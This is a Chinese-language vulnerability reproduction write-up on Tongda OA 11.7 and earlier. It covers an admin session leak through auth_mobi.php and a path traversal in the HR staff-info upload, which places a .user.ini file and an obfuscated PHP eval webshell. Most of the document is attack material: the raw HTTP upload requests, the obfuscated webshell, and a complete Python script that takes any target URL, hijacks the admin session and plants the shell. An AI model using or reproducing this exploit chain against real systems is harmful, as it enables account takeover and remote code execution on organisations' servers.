该漏洞是出现在通达OA系统的一个综合漏洞,适用于11.7版本及以下的通达OA系统,分为在线用户登录和文件上传利用两部分
首先下载通达OA,这里以11.6版本的为例,下载后发现php文件全部被Zend加密,于是用SeayDZend解密,接着进入漏洞复现环节
在线用户登录
在MYOA\webroot\mobile路径下的auth_mobi.php我们可以看到
……
function relogin()
{
echo _("RELOGIN");
exit();
}
……
if (($isAvatar == "1") && ($uid != "") && ($P_VER != "")) {
$sql = "SELECT SID FROM user_online WHERE UID = '$uid' and CLIENT = '$P_VER'";
$cursor = exequery(TD::conn(), $sql);
if ($row = mysql_fetch_array($cursor)) {
$P = $row["SID"];
}
}
if ($P == "") {
$P = $_COOKIE["PHPSESSID"];
if ($P == "") {
relogin();
exit();
}
}
……
if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
relogin();
}
从MYOA\webroot\inc\db_dict.inc.php中我们可以看到
$DB_DICT_FIELD_ARRAY["USER_ONLINE"] = array("UID" => "在线人员UID", "TIME" => "上次更新时间", "SID" => "在线人员Session ID", "CLIENT" => "客户端登录设备类型(0-浏览器,1-手机浏览器,2-OA精灵,5-iPhone,6-Android)");
即user_online是一个数据库表,$sql语句的作用是在user_online的表单中查询在线人员UID为$uid参数,客户端登录设备类型为$P_VER参数的在线人员session ID值
而如果在线人员Session ID为空且相应PHPSESSID的cookie键为空,或LOGIN_USER_ID与LOGIN_UID至少一个SESSION键为空,则执行relogin()函数,在页面上显示RELOGIN
所以当我们带着isAvatar参数为1,P_VER参数为0访问url/mobile/auth_mobi.php?isAvatar=1&uid=*&P_VER=0,可以得到对应uid账户的在线情况与session值
而通达OA的admin账户UID为1,故当我们访问url/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0时,如果显示RELOGIN,代表admin账户离线

如果显示为空,代表admin账户在线

此时查询请求响应中的Set-Cookie参数,其中的PHPSESSID即为admin账户的Session ID

在发送POST请求时将该Session ID以PHPSESSID形式携带即可实现admin用户登录
文件上传利用
只是登入admin账户对我们还不够,我们要实现文件上传利用,由于通达OA对上传文件限制比较严格,因此我们考虑通过上传.user.ini文件实现php包含木马
.user.ini文件是一个可以用户可以自定义的php配置文件,可以实现动态加载,即上传后自动间隔一定时间(可设置)会被执行。
而php配置中auto_append_file、auto_prepend_file这两个项可以被我们利用,前者表示文件后包含,即让执行目录到根目录的所有php文件后都包含指定文件,而后者表示文件前包含
因此,我们的大致思路是上传一个auto_append_file=木马文件的.user.ini,然后访问受控的任意一个php页面,实现木马文件上传
观察得MYOA\nginx\conf\nginx.conf中
location /attachment {
deny all;
}
得知正常情况下,文件被上传到MYOA\webroot\attachment,但该目录下没有php文件,即使上传.user.ini配置文件也无法被执行
但通过观察MYOA\webroot\general\hr\manage\staff_info\update.php
……
$PHOTO_NAME0 = $_FILES["ATTACHMENT"]["name"];
$ATTACHMENT = $_FILES["ATTACHMENT"]["tmp_name"];
if ($PHOTO_NAME0 != "") {
$FULL_PATH = MYOA_ATTACH_PATH . "hrms_pic";
if (!file_exists($FULL_PATH)) {
@mkdir($FULL_PATH, 448);
}
$PHOTO_NAME = $USER_ID . substr($PHOTO_NAME0, strrpos($PHOTO_NAME0, "."));
$FILENAME = MYOA_ATTACH_PATH . "hrms_pic/" . $PHOTO_NAME;
td_copy($ATTACHMENT, $FILENAME);
if (file_exists($ATTACHMENT)) {
unlink($ATTACHMENT);
}
if (!file_exists($FILENAME)) {
Message(_("附件上传失败"), _("原因:附件文件为空或文件名太长,或附件大于30兆字节,或文件路径不存在!"));
Button_Back();
exit();
}
}
……
我们发现$USER_ID没有被过滤就直接被拼接进了文件名$FILENAME变量中,同时,文件名$FILENAME的后缀名取自上传文件的后缀名,因此我们可以利用相对路径构造$USER_ID为../../其它路径,实现上传路径的更改
在11.7以上版本中,对上传路径又增加了限制
function td_path_valid($source, $func_name)
{
$source_arr = pathinfo($source);
$source = realpath($source_arr["dirname"]);
$basename = strtolower($source_arr["basename"]);
if ($source === false) {
return false;
}
if ($func_name == "td_fopen") {
$whitelist = "qqwry.dat,tech.dat,tech_cloud.dat,tech_neucloud.dat,";
if ((strpos($source, "webroot\inc") !== false) && find_id($whitelist, $basename)) {
return true;
}
}
if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)) {
return false;
}
else {
return true;
}
}
要求上传路径如果包含webroot,必须包含attachment,稳妥起见,我们将新的上传路径设在MYOA\webroot\general\reportshop\workshop\report\attachment-remark
发送如下POST请求
POST /general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/.user HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------17518323986548992951984057104
Content-Length: 365
Connection: close
Cookie: PHPSESSID=(待填);
Upgrade-Insecure-Requests: 1
-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="ATTACHMENT"; filename="ace.ini"
Content-Type: text/plain
auto_prepend_file=ace.log
-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="submit"
提交
-----------------------------17518323986548992951984057104--
即将配置为auto_prepend_file=ace.log的.user.ini文件上传到/general/reportshop/workshop/report/attachment-remark目录下
然后再发送POST请求
POST /general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/ace HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------17518323986548992951984057104
Content-Length: 365
Connection: close
Cookie: PHPSESSID=(待填);
Upgrade-Insecure-Requests: 1
-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="ATTACHMENT"; filename="ace.log"
Content-Type: text/plain
<?php
echo "Hacked by C26H52♠";
$aCe=create_function(base64_decode('JA==').chr(114195/993).str_rot13('b').str_rot13('z').chr(708-607),chr(0xc60e/0x1f6).base64_decode('dg==').str_rot13('n').chr(390-282).chr(0x1ae-0x186).chr(0x3ac-0x388).chr(0xd561/0x1db).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ==').str_rot13(')').chr(798-739));
$aCe(base64_decode('OTM2N'.'DM3O0'.'BldkF'.'sKCRf'.''.str_rot13('H').str_rot13('R').chr(41382/726).str_rot13('G').base64_decode('Vg==').''.''.base64_decode('Rg==').str_rot13('g').str_rot13('D').base64_decode('Wg==').chr(23751/273).''.'lRaV0'.'pOzI4'.'MDkzM'.'TE7'.''));?>
-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="submit"
提交
-----------------------------17518323986548992951984057104--
将ace.log上传至/general/reportshop/workshop/report/attachment-remark/目录下,其中ace.log的内容为
<?php
echo "Hacked by C26H52♠";
$aCe=create_function($some,eval($some););
$aCe("936437;@evAl($_POST[PeiQi]);2809311;")?>
(create_function已在新版php中被弃用)
至此,再访问同目录下的/general/reportshop/workshop/report/attachment-remark/form.inc.php,即实现一句话木马上传,之后使用蚁剑连接即可
附上payload:
import requests
import sys
import re
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def login_admin(url):
test_url = url + "/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=test_url, headers=headers, verify=False, timeout=5)
if "RELOGIN" in response.text and response.status_code == 200:
print("\033[31m[x] 目标用户为下线状态 --- {}\033[0m".format(time.asctime( time.localtime(time.time()))))
elif response.status_code == 200 and response.text == "":
Cookie = re.findall(r'PHPSESSID=(.*?);', str(response.headers))
print("\033[32m[o] 用户上线 PHPSESSION: {} --- {}\033[0m".format(Cookie[0] ,time.asctime(time.localtime(time.time()))))
Cookie = "PHPSESSID={};USER_NAME_COOKIE=admin; OA_USER_ID=admin".format(Cookie[0])
upload_ini(url, Cookie)
else:
print("\033[31m[x] 请求失败,目标可能不存在漏洞")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
def upload_ini(url, Cookie):
upload_url = url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/.user"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104",
"Connection": "close",
"Cookie": Cookie,
"Upgrade-Insecure-Requests": "1",
}
data = base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0icGVpcWkuaW5pIgpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4KCmF1dG9fcHJlcGVuZF9maWxlPXBlaXFpLmxvZwotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ic3VibWl0IgoK5o+Q5LqkCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTc1MTgzMjM5ODY1NDg5OTI5NTE5ODQwNTcxMDQtLQ==")
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=upload_url, data=data, headers=headers, verify=False, timeout=5)
print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/.user \033[0m".format(url))
if "档案已保存" in response.text and response.status_code == 200:
print("\033[32m[o] 目标 {} 成功上传.user.ini文件, \033[0m".format(url))
upload_log(url, Cookie)
else:
print("\033[31m[x] 目标 {} 上传.user.ini文件失败\033[0m".format(url))
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
def upload_log(url, Cookie):
upload_url = url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/peiqi"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104",
"Connection": "close",
"Cookie": Cookie,
"Upgrade-Insecure-Requests": "1",
}
data = base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0icGVpcWkubG9nIgpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4KCjw/cGhwIAplY2hvICJQZWlRaV9XaWtpIjsKJGZPZ1Q9Y3JlYXRlX2Z1bmN0aW9uKGJhc2U2NF9kZWNvZGUoJ0pBPT0nKS5jaHIoMTE0MTk1Lzk5Mykuc3RyX3JvdDEzKCdiJykuc3RyX3JvdDEzKCd6JykuY2hyKDcwOC02MDcpLGNocigweGM2MGUvMHgxZjYpLmJhc2U2NF9kZWNvZGUoJ2RnPT0nKS5zdHJfcm90MTMoJ24nKS5jaHIoMzkwLTI4MikuY2hyKDB4MWFlLTB4MTg2KS5jaHIoMHgzYWMtMHgzODgpLmNocigweGQ1NjEvMHgxZGIpLmJhc2U2NF9kZWNvZGUoJ2J3PT0nKS5iYXNlNjRfZGVjb2RlKCdiUT09JykuYmFzZTY0X2RlY29kZSgnWlE9PScpLnN0cl9yb3QxMygnKScpLmNocig3OTgtNzM5KSk7JGZPZ1QoYmFzZTY0X2RlY29kZSgnT1RNMk4nLidETTNPMCcuJ0JsZGtGJy4nc0tDUmYnLicnLnN0cl9yb3QxMygnSCcpLnN0cl9yb3QxMygnUicpLmNocig0MTM4Mi83MjYpLnN0cl9yb3QxMygnRycpLmJhc2U2NF9kZWNvZGUoJ1ZnPT0nKS4nJy4nJy5iYXNlNjRfZGVjb2RlKCdSZz09Jykuc3RyX3JvdDEzKCdnJykuc3RyX3JvdDEzKCdEJykuYmFzZTY0X2RlY29kZSgnV2c9PScpLmNocigyMzc1MS8yNzMpLicnLidsUmFWMCcuJ3BPekk0Jy4nTURrek0nLidURTcnLicnKSk7Pz4KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InN1Ym1pdCIKCuaPkOS6pAotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0LS0K")
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=upload_url, data=data, headers=headers, verify=False, timeout=5)
print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/peiqi \033[0m".format(url))
if "档案已保存" in response.text and response.status_code == 200:
print("\033[32m[o] 目标 {} 成功上传 peiqi.log 文件, \033[0m".format(url))
hack(url, Cookie)
else:
print("\033[31m[x] 目标 {} 上传 peiqi.log 文件失败\033[0m".format(url))
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
def hack(url, Cookie):
hack_url = url + "/general/reportshop/workshop/report/attachment-remark/form.inc.php?"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Cookie": Cookie,
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=hack_url, headers=headers, verify=False, timeout=5)
print("\033[36m[o] 正在请求 {}/general/reportshop/workshop/report/attachment-remark/form.inc.php? \033[0m".format(url))
if "PeiQi_Wiki" in response.text and response.status_code == 200:
print("\033[32m[o] 目标 {} 存在漏洞,响应中包含 PeiQi_Wiki \033[0m".format(url))
print("\033[32m[o] 成功上传蚁剑木马 密码为: PeiQi \n[o] webshell路径: {}/general/reportshop/workshop/report/attachment-remark/form.inc.php?\033[0m".format(url))
sys.exit(0)
else:
print("\033[31m[x] 目标 {} 不存在漏洞,响应中不包含 PeiQi_Wiki\033[0m".format(url))
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
while True:
login_admin(url)
time.sleep(5)
PS.在payload的POST请求中禁用了SSL/TLS证书验证,因为向目标网站发送的是不安全的请求